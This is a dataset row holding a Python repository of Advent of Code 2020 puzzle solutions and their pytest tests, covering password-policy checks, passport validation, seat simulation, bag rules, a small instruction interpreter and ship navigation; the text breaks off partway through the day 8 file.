branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/main
<repo_name>albarralnunez/albarralnunez-advent-of-code-20<file_sep>/day_10/tests.py import pytest from main import problem_1, problem_2, read_input input_1 = read_input("./input_test_1.txt") input_2 = read_input("./input_test_2.txt") testdata_1 = [(input_1, 7 * 5), (input_2, 22 * 10)] testdata_2 = [(input_1, 8), (input_2, 19208)] @pytest.mark.parametrize("test_input,expected", testdata_1) def test_1(test_input, expected): assert problem_1(test_input) == expected @pytest.mark.parametrize("test_input,expected", testdata_2) def test_2(test_input, expected): assert problem_2(test_input) == expected <file_sep>/day_2/models.py from dataclasses import dataclass @dataclass(frozen=True) class Password: min: int max: int letter: str value: str def __str__(self): return f"{self.min}-{self.max} {self.letter}: {self.value}" def _match_letter(self, letter): return letter == self.letter def is_valid_1(self): number_of_letters = len(list(filter(self._match_letter, self.value))) return self.min <= number_of_letters and self.max >= number_of_letters def is_valid_2(self): number_of_letters = len( list( filter( self._match_letter, self.value[self.min - 1] + self.value[self.max - 1], ) ) ) return number_of_letters == 1 <file_sep>/day_2/utils.py import re from pathlib import Path from typing import Iterator, Optional from models import Password password_regex = re.compile("^([0-9]+)-([0-9]+) ([a-z]): ([a-z]+)$") def build_password(line: str) -> Optional[Password]: password_match = password_regex.match(line) if not password_match: return None return Password( min=int(password_match.group(1)), max=int(password_match.group(2)), letter=password_match.group(3), value=password_match.group(4), ) def read_input(input_file_path: str) -> Iterator[Password]: """ 10-11 g: <PASSWORD> """ with Path(input_file_path).open() as input: return filter(None, map(build_password, input.read().splitlines())) <file_sep>/day_8/tests.py from day_8 import Acc, Code, Executor, Jmp, Nop def test(): code = Code( instructions=[ Nop(0, 0), Acc(1, 1), Jmp(2, 4), Acc(3, 3), Jmp(4, -3), Acc(5, -99), Acc(6, 1), Jmp(7, -4), Acc(8, 6), ] ) executor = Executor() executor.runner(code) assert code.accumulator == 5 def test_2(): code = Code( instructions=[ Nop(0, 0), Acc(1, 1), Jmp(2, 4), Acc(3, 3), Jmp(4, -3), Acc(5, -99), Acc(6, 1), Jmp(7, -4), Acc(8, 6), ] ) executor = Executor() solution = executor.code_fixer(code) assert solution == 8 <file_sep>/day_5/day_5.py import math from itertools import dropwhile, product from typing import Callable, List, Set, Tuple from utils import read_input rows_navigation: int = 7 num_rows: int = 128 coloumns_navigation: int = 3 num_coloumns: int = 8 def calculator( letters: str, navigation: int, letter: str, num: int, round: Callable ) -> int: return round( sum( map( lambda x: x[1], filter( lambda x: letter == x[0], zip( letters, map( lambda x: x[0] / x[1], zip( [num] * navigation, map( lambda x: x[0] ** x[1], zip([2] * navigation, range(1, navigation + 1)), ), ), ), ), ), ) ) ) def get_row(letters: str) -> int: return calculator( letters=letters, navigation=rows_navigation, letter="B", num=num_rows, round=round, ) def get_coloumn( letters: str, ) -> int: return calculator( letters=letters, navigation=coloumns_navigation, letter="R", num=num_coloumns, round=math.ceil, ) def get_position(ticket: str) -> Tuple[int, int]: row: str = ticket[:rows_navigation] coloumn: str = ticket[-coloumns_navigation:] row_calculator = get_row(letters=row) coloumn_calculator = get_coloumn(letters=coloumn) return (int(row_calculator), int(coloumn_calculator)) def get_id(x, y) -> int: return x * 8 + y def get_all_ids(tickets): return map(lambda x: get_id(*x), map(get_position, tickets)) def is_valid(element, elements): return element - 1 in elements and element + 1 in elements def solution_1(tickets) -> int: return max(get_all_ids(tickets)) def solution_2(tickets) -> int: all_ids: Set[int] = set( map(lambda x: get_id(*x), product(range(0, num_rows), range(0, num_coloumns))) ) list_ids: Set[int] = set(get_all_ids(tickets)) possible_results = all_ids - list_ids return next( dropwhile( lambda x: not x[0], map(lambda x: (is_valid(x, list_ids), x), possible_results), ) )[1] def main(): tickets = read_input("./input_1.txt") print(f"Solution 1: {solution_1(tickets)}") tickets = read_input("./input_2.txt") print(f"Solution 1: {solution_2(tickets)}") if __name__ == "__main__": main() <file_sep>/day_7/tests.py from day_7 import BagRule, Bags, read_rules def test_1(): bags = Bags( { "a": [BagRule(name="b", number=1)], "b": [BagRule(name="c", number=1), BagRule(name="e", number=1)], "c": [BagRule(name="d", number=1)], "d": [], "e": [BagRule(name="c", number=1)], } ) assert bags.solution_1("c") == 3 def test_2(): bags = Bags( { "a": [BagRule(name="b", number=2)], "b": [BagRule(name="c", number=2)], "c": [], } ) assert bags.solution_2("a") == 6 def test_3(): bags = Bags( { "a": [BagRule(name="b", number=1)], "b": [BagRule(name="c", number=1), BagRule(name="e", number=2)], "c": [BagRule(name="d", number=1)], "d": [], "e": [BagRule(name="d", number=1)], } ) assert bags.solution_2("a") == 7 def test_4(): bags_leadger = read_rules("./test_input_1.txt") bags = Bags() bags.create(bags_leadger) assert bags.solution_2("shiny gold") == 126 def test_5(): bags_leadger = read_rules("./test_input_2.txt") bags = Bags() bags.create(bags_leadger) assert bags.solution_2("shiny gold") == 32 <file_sep>/README.md # albarralnunez-advent-of-code-20 https://adventofcode.com/2020<file_sep>/day_2/tests.py from models import Password class TestSolution1: def test_is_valid(self): password = Password(min=2, max=2, letter="a", value="aa") assert password.is_valid_1() def test_not_valid_min(self): password = Password(min=2, max=2, letter="a", value="a") assert not password.is_valid_1() def test_not_valid_max(self): password = Password(min=2, max=2, letter="a", value="aaa") assert not password.is_valid_1() class TestSolution2: def test_is_valid(self): password = Password(min=1, max=2, letter="a", value="ac") assert password.is_valid_2() def test_not_valid_both(self): password = Password(min=1, max=2, letter="a", value="aa") assert not password.is_valid_2() def test_not_valid_none(self): password = Password(min=1, max=2, letter="a", value="bb") assert not password.is_valid_2() <file_sep>/bonus/main.py from operator import add, sub, mul from functools import reduce from itertools import zip_longest, chain def div(x, y): if y == 0: return None return x/y operations = [add, sub, mul, div] def generate_opreations(posibilities: list, number: int) -> list[int]: combinations_operations = list(zip_longest([], posibilities, fillvalue=number)) all_posible_operations = zip_longest([], operations, fillvalue=combinations_operations) all_results = list(filter(lambda x: x is not None, chain( *map( lambda x: map( lambda y: x[1](y[0],y[1]), x[0] ), all_posible_operations ) ))) return [min(all_results), max(all_results)] def main(a, array): solution = list(reduce(generate_opreations, array, [a])) print(list(solution)) return max(solution) if __name__ == "__main__": first, *others = [1,0,12,-3] main(first, others)<file_sep>/day_11/tests.py import pytest from main import (Problem1ApplyRules, Problem1SourrandingSeatsFinder, Problem2ApplyRules, Problem2SourrandingSeatsFinder, SeatLayout, read_input, solver) finder_1 = Problem1SourrandingSeatsFinder() rules_1 = Problem1ApplyRules() finder_2 = Problem2SourrandingSeatsFinder() rules_2 = Problem2ApplyRules() test_inputs = [ (read_input("./input_test_1_1.txt"), finder_1, rules_1, 37), (read_input("./input_test_1_2.txt"), finder_1, rules_1, 11), (read_input("./input_test_2_1.txt"), finder_2, rules_2, 5), (read_input("./input_test_2_2.txt"), finder_2, rules_2, 9), (read_input("./input_test_1_1.txt"), finder_2, rules_2, 26), ] @pytest.mark.parametrize("test_input,finder,rules,expected", test_inputs) def test(test_input, finder, rules, expected): seat_layout = SeatLayout.load(finder=finder, rules=rules, input_str=test_input) assert solver(seat_layout) == expected <file_sep>/day_1/utils.py import operator from functools import reduce from pathlib import Path from typing import Iterable, Iterator def read_input(input_file_path: str) -> Iterator[int]: with Path(input_file_path).open() as input: return map(int, input.read().splitlines()) def prod(numbers: Iterable[int]) -> int: return reduce(operator.mul, numbers, 1) <file_sep>/day_4/models.py import re from dataclasses import dataclass @dataclass class PassportValidator: PASSPORT_RE = re.compile( r"(?=.*byr:(?P<byr>(?:(?:19[2-9][0-9])|(?:200[0-2])))(?:\s|$))" r"(?=.*iyr:(?P<iyr>2(?:01[0-9]|020))(?:\s|$))" r"(?=.*eyr:(?P<eyr>2(?:02[0-9]|030))(?:\s|$))" r"(?=.*hgt:(?P<hgt>(1(?:[5-9][0-9]|9[0-3])cm|(?:59|6[0-9]|7[0-6])in))(?:\s|$))" r"(?=.*hcl:(?P<hcl>\#[0-9a-f]{6})(?:\s|$))" r"(?=.*ecl:(?P<ecl>(?:amb|blu|brn|gry|grn|hzl|oth))(?:\s|$))" r"(?=.*pid:(?P<pid>\d{9})(?:\s|$))" ) def __call__(self, passport: str): normalized_passport = passport.replace("\n", " ") passport_match = self.PASSPORT_RE.match(normalized_passport) return bool(passport_match) <file_sep>/day_9/day_9.py from itertools import combinations, dropwhile from pathlib import Path from typing import Generator, List, Optional def read_rules(input_file_path: str) -> List[int]: with Path(input_file_path).open() as input: return list(map(int, input.read().splitlines())) def is_valid_sequence(permable_group: List[int], permable: int): for_validation, validate = permable_group[:permable], permable_group[-1] is_valid = any( map(lambda x: x == validate, map(sum, combinations(for_validation, 2))) ) return is_valid def matches_target_candidates_generator( sequence: List[int], target: int, position: int = 0, group_size: int = 2 ) -> Generator[List[int], List[int], None]: sub_sequence = sequence[position : position + group_size] while sum(sub_sequence) != target: if sum(sub_sequence) > target: position += 1 group_size = 2 sub_sequence = sequence[position : position + group_size] yield sub_sequence group_size += 1 sub_sequence = sequence[position : position + group_size] yield sub_sequence def problem_1(sequence: List[int], permable: int): groups = filter( lambda x: len(x) >= permable, [ sequence[position : position + permable + 1] for position in range(len(sequence)) ], ) result = dropwhile(lambda x: is_valid_sequence(x, permable), groups) return list(next(result))[-1] def problem_2(sequence, target): *_, result = matches_target_candidates_generator(sequence, target) return min(result) + max(result) def main(): sequence_test = read_rules("./input_test.txt") solution_1_test = problem_1(sequence_test, 5) print(f"Test 1: {solution_1_test}") sequence = read_rules("./input.txt") solution_1 = problem_1(sequence, 25) print(f"Solution 1: {solution_1}") solution_2_test = problem_2(sequence_test, solution_1_test) print(f"Test 2: {solution_2_test}") solution_2 = problem_2(sequence, solution_1) print(f"Solution 2: {solution_2}") if __name__ == "__main__": main() <file_sep>/bonus/tests.py import pytest from main import main @pytest.mark.parametrize( "array,expected", [([1,0,12,-3], 36), ([1,12,3], 39)] ) def tests(array, expected): first, *others = array assert main(first, others) == expected <file_sep>/day_1/day1_v2.py from functools import reduce from itertools import combinations, dropwhile from typing import Iterator, Tuple from utils import prod, read_input def solution(entries: Iterator[int], number_of_combinations: int): filter_numbers: Iterator[int] = filter(lambda entry: entry < 2020, entries) combinations_of_numbers: Iterator[Tuple[int, int]] = combinations( filter_numbers, number_of_combinations ) sum_of_combinations: Iterator[Tuple[int, int]] = map( lambda x: (sum(x), prod(x)), combinations_of_numbers ) find_solution: Iterator[Tuple[int, int]] = dropwhile( lambda x: x[0] != 2020, sum_of_combinations ) result = next(find_solution) return result[1] def main(): entries_1: Iterator[int] = read_input("./input_1.txt") print(f"Solution 1: {solution(entries_1, 2)}") entries_2: Iterator[int] = read_input("./input_2.txt") print(f"Solution 2: {solution(entries_2, 3)}") if __name__ == "__main__": main() <file_sep>/day_11/main.py import argparse from copy import deepcopy from dataclasses import dataclass, field from os import name, system from pathlib import Path from time import sleep from typing import List, Literal, Optional SeatState = Literal["L", "#", "."] flatten = lambda t: [item for sublist in t for item in sublist] def clear(): """ Define our clear function """ # for windows if name == "nt": _ = system("cls") # for mac and linux(here, os.name is 'posix') else: _ = system("clear") @dataclass(frozen=True) class Seat: x: int y: int state: SeatState def __str__(self): return self.state @property def is_valid_seat(self) -> bool: return self.state == "#" or self.state == "L" @property def is_empty(self) -> bool: return self.state == "." or self.state == "L" def __eq__(self, other) -> bool: if isinstance(other, str): return self.state == other return self.state == other.state class SourrandingSeatsFinder: def __call__(self, layout: "SeatLayout", seat: Seat) -> List[Seat]: raise NotImplementedError class Problem1SourrandingSeatsFinder(SourrandingSeatsFinder): def __call__(self, layout: "SeatLayout", seat: Seat) -> List[Seat]: x_left = 0 x_right = 0 y_down = 1 y_up = -1 up_seats = [] down_seats = [] left_seat = None right_seat = None if seat.x > 0: x_left = -1 left_seat = layout.layout[seat.y][seat.x + x_left] if seat.x + x_right < layout.x_len - 1: x_right = 1 right_seat = layout.layout[seat.y][seat.x + x_right] if seat.y > 0: up_seats = layout.layout[seat.y + y_up][ seat.x + x_left : seat.x + x_right + 1 ] if seat.y < layout.y_len - 1: down_seats = layout.layout[seat.y + y_down][ seat.x + x_left : seat.x + x_right + 1 ] surrounding_seats: List[Seat] = list( filter(None, (left_seat, *up_seats, *down_seats, right_seat)) ) return surrounding_seats class Problem2SourrandingSeatsFinder(SourrandingSeatsFinder): def out_of_matrix(self, position_x, position_y, len_x, len_y): return ( position_y < 0 or position_x < 0 or position_x > len_x - 1 or position_y > len_y - 1 ) def find_seat( self, layout: "SeatLayout", seat: Seat, direction_x, direction_y ) -> Optional[Seat]: position_y = seat.y + direction_y position_x = seat.x + direction_x # print(f"?({direction_x}, {direction_y})") # TODO: DELETE if self.out_of_matrix(position_x, position_y, layout.x_len, layout.y_len): return None result = layout.get(position_x, position_y) # print(f"*({position_x}, {position_y}): {result.is_valid_seat}, {result}") # TODO: DELETE # if seat.x == 3 and seat.y == 4: print(layout) # TODO: DELETE while not result.is_valid_seat: position_x += direction_x position_y += direction_y if self.out_of_matrix(position_x, position_y, layout.x_len, layout.y_len): return None result = layout.get(position_x, position_y) # print(f"*({position_x}, {position_y}): {result.is_valid_seat}, {result}") # TODO: DELETE # if seat.x == 3 and seat.y == 4: print(layout) # TODO: DELETE # print(f"->({result.x}, {result.y})") # TODO: DELETE return result def __call__(self, layout: "SeatLayout", seat: Seat) -> List[Seat]: return list( filter( None, [ self.find_seat(layout, seat, 0, 1), self.find_seat(layout, seat, 1, 0), self.find_seat(layout, seat, 0, -1), self.find_seat(layout, seat, -1, 0), self.find_seat(layout, seat, -1, 1), self.find_seat(layout, seat, 1, -1), self.find_seat(layout, seat, 1, 1), self.find_seat(layout, seat, -1, -1), ], ) ) class ApplyRules: def __call__(self, seat: Seat, surrounding_seats: List[Seat]) -> Seat: raise NotImplementedError class Problem1ApplyRules: def __call__(self, seat: Seat, surrounding_seats: List[Seat]) -> Seat: if seat == "L": if all(map(lambda x: x.is_empty, surrounding_seats)): return Seat(seat.x, seat.y, "#") elif seat == "#": if 4 <= surrounding_seats.count("#"): # type: ignore return Seat(seat.x, seat.y, "L") return seat class Problem2ApplyRules: def __call__(self, seat: Seat, surrounding_seats: List[Seat]) -> Seat: if seat == "L": if all(map(lambda x: x.is_empty, surrounding_seats)): return Seat(seat.x, seat.y, "#") elif seat == "#": if 5 <= surrounding_seats.count("#"): # type: ignore return Seat(seat.x, seat.y, "L") return seat @dataclass(frozen=True) class SeatLayout: layout: List[List[Seat]] finder: SourrandingSeatsFinder rules: ApplyRules @property def x_len(self): return len(self.layout[0]) @property def y_len(self): return len(self.layout) @classmethod def load( cls, rules: ApplyRules, finder: SourrandingSeatsFinder, input_str: str ) -> "SeatLayout": layout = list( map( lambda y: list( map( lambda x: Seat(x=x[0], y=y[0], state=y[1][x[0]]), # type: ignore enumerate(y[1]), ) ), enumerate(input_str.split()), ) ) return SeatLayout(layout, rules=rules, finder=finder) def get(self, x: int, y: int) -> Seat: return self.layout[y][x] def _apply_rule(self, seat) -> Seat: if seat == ".": return seat # print(f"{seat.x},{seat.y}") #TODO: DELETE surrounding_seats = self.finder(self, seat) # print(surrounding_seats) #TODO: DELETE seat = self.rules(seat, surrounding_seats) return seat def step(self) -> "SeatLayout": return SeatLayout( layout=list(map(lambda x: list(map(self._apply_rule, x)), self.layout)), finder=self.finder, rules=self.rules, ) def count_occupaied(self): return flatten(self.layout).count("#") # type: ignore def __str__(self): return "\n".join(map(lambda x: "".join(map(str, x)), self.layout)) def __eq__(self, other): zip_matrix = list( flatten( map( lambda x: list(zip(x[0], x[1])), list(zip(self.layout, other.layout)), ) ) ) flatten_matrix = map(lambda x: x[0] == x[1], zip_matrix) return all(flatten_matrix) def print_layout(seat_layout: SeatLayout): clear() print("O" * seat_layout.x_len) print(seat_layout) sleep(0.5) def solver(seat_layout: SeatLayout, show_layout: bool = False): old_layout = seat_layout if show_layout: print_layout(old_layout) next_layout = seat_layout.step() while old_layout != next_layout: old_layout = next_layout if show_layout: print_layout(old_layout) next_layout = next_layout.step() return next_layout.count_occupaied() def read_input(path: str): with Path(path).open() as f: return f.read() def main(args): seat_layout_input = read_input("./input.txt") seat_layout_input_test_1_1 = read_input("./input_test_1_1.txt") seat_layout_input_test_1_2 = read_input("./input_test_1_2.txt") finder_problem_1 = Problem1SourrandingSeatsFinder() apply_rule_problem_1 = Problem1ApplyRules() # PROBLEM 1 seat_layout_test_1_1 = SeatLayout.load( input_str=seat_layout_input_test_1_1, finder=finder_problem_1, rules=apply_rule_problem_1, ) print(f"Solution Test 1 v1: {solver(seat_layout_test_1_1, args.print)}") if args.print: print("H" * seat_layout_test_1_1.x_len) seat_layout_test_1_2 = SeatLayout.load( input_str=seat_layout_input_test_1_2, finder=finder_problem_1, rules=apply_rule_problem_1, ) print(f"Solution Test 1 v2: {solver(seat_layout_test_1_2, args.print)}") if args.print: print("H" * seat_layout_test_1_2.x_len) seat_layout_1 = SeatLayout.load( input_str=seat_layout_input, finder=finder_problem_1, rules=apply_rule_problem_1 ) print(f"Solution Problem 1: {solver(seat_layout_1, args.print)}") if args.print: print("H" * seat_layout_1.x_len) # PROBLEM 2 seat_layout_input_test_2_1 = read_input("./input_test_2_1.txt") seat_layout_input_test_2_2 = read_input("./input_test_2_2.txt") finder_problem_2 = Problem2SourrandingSeatsFinder() apply_rule_problem_2 = Problem2ApplyRules() seat_layout_test_2_1 = SeatLayout.load( input_str=seat_layout_input_test_2_1, finder=finder_problem_2, rules=apply_rule_problem_2, ) print(f"Solution Test 2 v1: {solver(seat_layout_test_2_1, args.print)}") if args.print: print("H" * seat_layout_test_2_1.x_len) seat_layout_test_2_2 = SeatLayout.load( input_str=seat_layout_input_test_2_2, finder=finder_problem_2, rules=apply_rule_problem_2, ) print(f"Solution Test 2 v2: {solver(seat_layout_test_2_2, args.print)}") if args.print: print("H" * seat_layout_test_2_2.x_len) seat_layout_test_2_3 = SeatLayout.load( input_str=seat_layout_input_test_1_1, finder=finder_problem_2, rules=apply_rule_problem_2, ) print(f"Solution Test 2 v3: {solver(seat_layout_test_2_3, args.print)}") if args.print: print("H" * seat_layout_test_2_2.x_len) seat_layout_2 = SeatLayout.load( input_str=seat_layout_input, finder=finder_problem_2, rules=apply_rule_problem_2 ) print(f"Solution Problem 2: {solver(seat_layout_2, args.print)}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Process some integers.") parser.add_argument("--print", action=argparse.BooleanOptionalAction) args = parser.parse_args() main(args) <file_sep>/day_6/day_6.py import operator import re from functools import reduce from pathlib import Path from typing import Callable, Iterator, List, Optional, Set def read_input(input_file_path: str) -> str: with Path(input_file_path).open() as input: return input.read() def split_to_sets(x: str) -> Iterator[Set]: return map(set, x.split()) def reduce_group(group: Iterator[Set], operation) -> Set[str]: return reduce(lambda x, y: operation(x, y), group) def process_input(input_str: str, operation: Callable) -> int: groups: List[str] = input_str.split("\n\n") groups_passangers: Iterator[Iterator[Set[str]]] = map(split_to_sets, groups) group_answers = map(lambda x: reduce_group(x, operation), groups_passangers) return sum(map(len, group_answers)) def main(): poll = read_input("./input.txt") print(f"Solution 1: {process_input(poll, operator.__or__)}") print(f"Solution 2: {process_input(poll, operator.__and__)}") if __name__ == "__main__": main() <file_sep>/day_7/day_7.py import re from dataclasses import dataclass from pathlib import Path from typing import Iterator, List rule_re = r"^(.*)\sbags\scontain\s(.*[,.])+" bags_re = r"(\d)\s([\w\s]*\s)bags?[,.]" @dataclass class BagRule: name: str number: int class Bags: def __init__(self, bags=None): self._bags = bags or {} @classmethod def _create_bag(self, match: re.Match): number = int(match.group(1)) name = match.group(2).strip() return BagRule(name=name, number=number) @classmethod def _parse_inner_bags(self, inner_bags: str) -> Iterator[BagRule]: bag_matches = re.finditer(bags_re, inner_bags) bag_rules = map(self._create_bag, bag_matches) return bag_rules def _add_bag(self, name: str, contains_definition: str): contains: Iterator[BagRule] = self._parse_inner_bags(contains_definition) self._bags[name] = list(contains) def create(self, rules_leadger: str): leadger_list = re.findall(rule_re, rules_leadger, re.MULTILINE) for name, contains in leadger_list: self._add_bag(name, contains) def can_hold(self, target_name: str, in_name: str): in_name_bags = list(map(lambda x: x.name, self._bags[in_name])) if target_name in in_name_bags: return True return any( map(lambda x: self.can_hold(target_name, x.name), self._bags[in_name]) ) def solution_1(self, target_name): bags_can_hold = map(lambda x: self.can_hold(target_name, x), self._bags.keys()) return len(list(filter(None, bags_can_hold))) def _count(self, name: str, number: int): rules = self._bags[name] if not rules: return number number_of_bags = number + sum( map(lambda x: self._count(x.name, x.number * number), rules) ) return number_of_bags def solution_2(self, name: str): return self._count(name, 1) - 1 def read_rules(input_file_path: str) -> str: with Path(input_file_path).open() as input: return input.read() def main(): rules_leadger_1 = read_rules("./input_1.txt") bags_1 = Bags() bags_1.create(rules_leadger_1) print(f"Solution 1: {bags_1.solution_1('shiny gold')}") rules_leadger_2 = read_rules("./input_2.txt") bags_2 = Bags() bags_2.create(rules_leadger_2) print(f"Solution 2: {bags_2.solution_2('shiny gold')}") if __name__ == "__main__": main() <file_sep>/day_3/benchmark.py import time from itertools import combinations from multiprocessing import Pool from day_3 import solution_2, solution_3 from utils import read_input if __name__ == "__main__": runs = 1 pool_size = 10 jumps = list(combinations(range(1, 100), 2)) small_slope = read_input("./input_2.txt") start_time_1 = time.time() for _ in range(runs): solution_2(small_slope, jumps) print(f"Solution 1 took {time.time() - start_time_1}") with Pool(pool_size) as p: start_time_2 = time.time() for _ in range(runs): solution_3(small_slope, p, jumps) print(f"Solution 2 took {time.time() - start_time_2}") big_slope = read_input("./input_3.txt") start_time_3 = time.time() for _ in range(runs): solution_2(big_slope, jumps) print(f"Solution 3 took {time.time() - start_time_3}") with Pool(pool_size) as p: start_time_4 = time.time() for _ in range(runs): solution_3(big_slope, p, jumps) print(f"Solution 4 took {time.time() - start_time_4}") <file_sep>/day_12/main.py from dataclasses import dataclass, field from enum import Enum from pathlib import Path import re from typing import Iterable, Literal, Tuple, ClassVar, Pattern, Union, get_args, Type CardinalPoint = Literal["N", "W", "S", "E"] Rotation = Literal["R", "L"] MoveForward = Literal["F"] Action = Union[MoveForward, CardinalPoint, Rotation] Position = Tuple[int, int] Movement = Tuple[Action, int] Leadger = Iterable[Movement] @dataclass class Boat: position: Position = field(default_factory=lambda: (0, 0)) @property def solution(self): return abs(self.position[0]) + abs(self.position[1]) @dataclass class Problem1Boat(Boat): _orientation: int = field(init=False, repr=False, default=90) @property def orientation(self) -> int: return self._orientation % 360 def _rotate(self, action: Rotation, value: int): if action == "R": self._orientation += value elif action == "L": self._orientation -= value def _move_forward(self, value): if self.orientation == 0: self.position = (self.position[0], self.position[1] + value) if self.orientation == 90: self.position = (self.position[0] + value, self.position[1]) if self.orientation == 180: self.position = (self.position[0], self.position[1] - value) if self.orientation == 270: self.position = (self.position[0] - value, self.position[1]) def _move_direction(self, action: CardinalPoint, value: int): if action == "N": self.position = (self.position[0], self.position[1] + value) elif action == "E": self.position = (self.position[0] + value, self.position[1]) elif action == "S": self.position = (self.position[0], self.position[1] - value) elif action == "W": self.position = (self.position[0] - value, self.position[1]) def move(self, action: Action, value: int): if action in get_args(CardinalPoint): self._move_direction(action, value) elif action in get_args(Rotation): self._rotate(action, value) elif action in get_args(MoveForward): self._move_forward(value) """ @@@@@@ @X@@@@ @@X@@@ @@@X@@ @@@@@@ """ @dataclass class Problem2Boat(Boat): _way_point_position: Position = field(default_factory=lambda: (10, 1)) def _rotate_way_point(self, action: Rotation, value: int): if ( value == 90 and action == "R" or value == 270 and action == "L" ): self.position = ( self.position[1] * (self.position[0]/abs(self.position[0])), self.position[0] * (self.position[1]/abs(self.position[1])), ) def _move_forward(self, value): self.position = ( self.position[0] + self._way_point_position[0] * value, self.position[1] + self._way_point_position[1] * value, ) def _move_way_point(self, action: CardinalPoint, value: int): if action == "N": self._way_point_position = ( self._way_point_position[0], self._way_point_position[1] + value, ) elif action == "E": self._way_point_position = ( self._way_point_position[0] + value, self._way_point_position[1], ) elif action == "S": self._way_point_position = ( self._way_point_position[0], self._way_point_position[1] - value, ) elif action == "W": self._way_point_position = ( self._way_point_position[0] - value, self._way_point_position[1], ) def move(self, action: Action, value: int): if action in get_args(CardinalPoint): self._move_way_point(action, value) elif action in get_args(Rotation): self._rotate_way_point(action, value) elif action in get_args(MoveForward): self._move_forward(value) @dataclass class LeadgerReader: leadger_re: ClassVar[Pattern] = re.compile(r"([NSEWLRF])(\d+)") def _read_file(self, path: Path): with Path(path).open() as f: leadger_text = f.read() return leadger_text def __call__(self, path: str) -> Leadger: leadger_text: str = self._read_file(Path(path)) leadger: Leadger = self.leadger_re.findall(leadger_text) return leadger def solver(problme_boat_type: Type[Boat], leadger: Leadger): boat = problme_boat_type() for action, value in leadger: boat.move(action, int(value)) return boat.solution def main(): leadger_reader = LeadgerReader() leadger_test = leadger_reader("./test_input.txt") leadger = leadger_reader("./input.txt") solution_test_1 = solver(Problem1Boat, leadger_test) print(f"Solution Test 1: {solution_test_1}") solution_problem_1 = solver(Problem1Boat, leadger) print(f"Solution Problem 1: {solution_problem_1}") solution_test_2 = solver(Problem2Boat, leadger_test) print(f"Solution Test 2: {solution_test_2}") solution_problem_2 = solver(Problem2Boat, leadger) print(f"Solution Problem 2: {solution_problem_2}") if __name__ == "__main__": main() <file_sep>/day_3/day_3.py from math import prod from multiprocessing import Pool from typing import Iterator from utils import read_input def navigate(step_x, step_y, slope): trees = 0 row = 0 coloumn = 0 while True: if slope[row][coloumn] == "#": trees += 1 row += step_y if row >= len(slope): break coloumn += step_x coloumn %= len(slope[row]) return trees def solution_1(slope): return navigate(3, 1, slope) def solution_2(slope, jumps): rounds = map(lambda x: (x[0], x[1], slope), jumps) results = map(lambda x: navigate(*x), rounds) return prod(results) def solution_3(slope, p, jumps): rounds = map(lambda x: (x[0], x[1], slope), jumps) results = p.starmap(navigate, rounds) return prod(results) def main(): input_1 = read_input("./input_1.txt") print(f"Solution 1: {solution_1(input_1)}") input_2 = read_input("./input_2.txt") jumps = [(1, 1), (3, 1), (5, 1), (7, 1), (1, 2)] print(f"Solution 2: {solution_2(input_2, jumps)}") with Pool(5) as p: print(f"Solution 3: {solution_3(input_2, p, jumps)}") if __name__ == "__main__": main() <file_sep>/day_3/tests.py from day_3 import navigate class TestSolution2: def test_1(self): slope = [ "#..#..", "#..#..", "#..#..", ] result = navigate(3, 1, slope) assert result == 3 def test_2(self): slope = [ "#.", "#.", "#.", ] result = navigate(1, 1, slope) assert result == 2 <file_sep>/day_8/day_8.py import re from copy import copy from dataclasses import dataclass, field from functools import reduce from pathlib import Path from typing import Callable, List, Optional, TextIO, Type class InputError(Exception): ... @dataclass(frozen=True) class Instruction: id: int value: int def execute(self, code: "Code"): raise NotImplementedError() @dataclass(frozen=True) class Jmp(Instruction): def execute(self, code: "Code"): code.pointer += self.value @dataclass(frozen=True) class Acc(Instruction): def execute(self, code: "Code"): code.accumulator += self.value code.pointer += 1 @dataclass(frozen=True) class Nop(Instruction): def execute(self, code: "Code"): code.pointer += 1 def instruction_factory(id: int, instruction_line: str): regex = re.match(r"(\w{3}) ([+-]\d*)", instruction_line) if not regex: raise InputError() name, value = regex.group(1), regex.group(2) kwargs = {"id": id, "value": int(value)} if name == "jmp": return Jmp(**kwargs) elif name == "acc": return Acc(**kwargs) elif name == "nop": return Nop(**kwargs) @dataclass class Code: instructions: List[Instruction] = field(repr=False) executed_instructions: List[int] = field(default_factory=list, repr=False) pointer: int = 0 accumulator: int = 0 finished: bool = False @classmethod def load(cls, code_path: Path): with code_path.open() as input: instruction = map( lambda x: instruction_factory(*x), enumerate(input.read().splitlines()) ) return cls(list(instruction)) def _stop_iteration(self, instruction: Instruction): if self.pointer in self.executed_instructions: raise StopIteration() if instruction.id == len(self.instructions) - 1: self.finished = True raise StopIteration() def __next__(self): instruction = copy(self.instructions[self.pointer]) old_pointer = self.pointer instruction.execute(self) self._stop_iteration(instruction) self.executed_instructions.append(old_pointer) return instruction def __iter__(self): return self @dataclass class Executor: debugger_file: Optional[TextIO] = None def _flip_instruction( self, instructions: List[Instruction], executed_instructions: List[int], flip: int, ): instruction_to_fix_pointer = executed_instructions[flip] instruction_to_fix = instructions[instruction_to_fix_pointer] new_instructions = copy(instructions) if isinstance(instruction_to_fix, Jmp): new_instructions[instruction_to_fix_pointer] = Nop( instruction_to_fix.id, instruction_to_fix.value ) elif isinstance(instruction_to_fix, Nop): new_instructions[instruction_to_fix_pointer] = Jmp( instruction_to_fix.id, instruction_to_fix.value ) return Code(new_instructions) def code_fixer(self, code: Code, execution_number: int = 1): original_instructions = copy(code.instructions) flip = -1 accumulator = self.runner(code, execution_number) executed_instructions = copy(code.executed_instructions) while code.finished is False: code = self._flip_instruction( original_instructions, executed_instructions, flip ) execution_number += 1 accumulator = self.runner(code, execution_number) flip -= 1 return accumulator def runner(self, code: Code, execution_number: int = 1): if self.debugger_file is not None: self.debugger_file.write(f"{'#'*30} - {execution_number} - {'#'*30}\n") for instruction in code: if self.debugger_file is not None: self.debugger_file.write(f"{instruction}: {code}\n") if self.debugger_file is not None: self.debugger_file.write(f"{instruction}: {code}\n") return code.accumulator def solver(id: str, input_path_str: str, debug_path_str, method_name: str): input_path = Path(input_path_str) code_to_fix = Code.load(input_path) debug_path = Path(debug_path_str) debug_path.touch() with debug_path.open("+w") as debugger_file: executor = Executor(debugger_file=debugger_file) method = getattr(executor, method_name) print(f"Solution {id}: {method(code=code_to_fix)}") def main(): solver("test_1", "./input_test.txt", "./solution_test_1.debug", "runner") solver("1", "./input.txt", "./solution_1.debug", "runner") solver("test_2", "./input_test.txt", 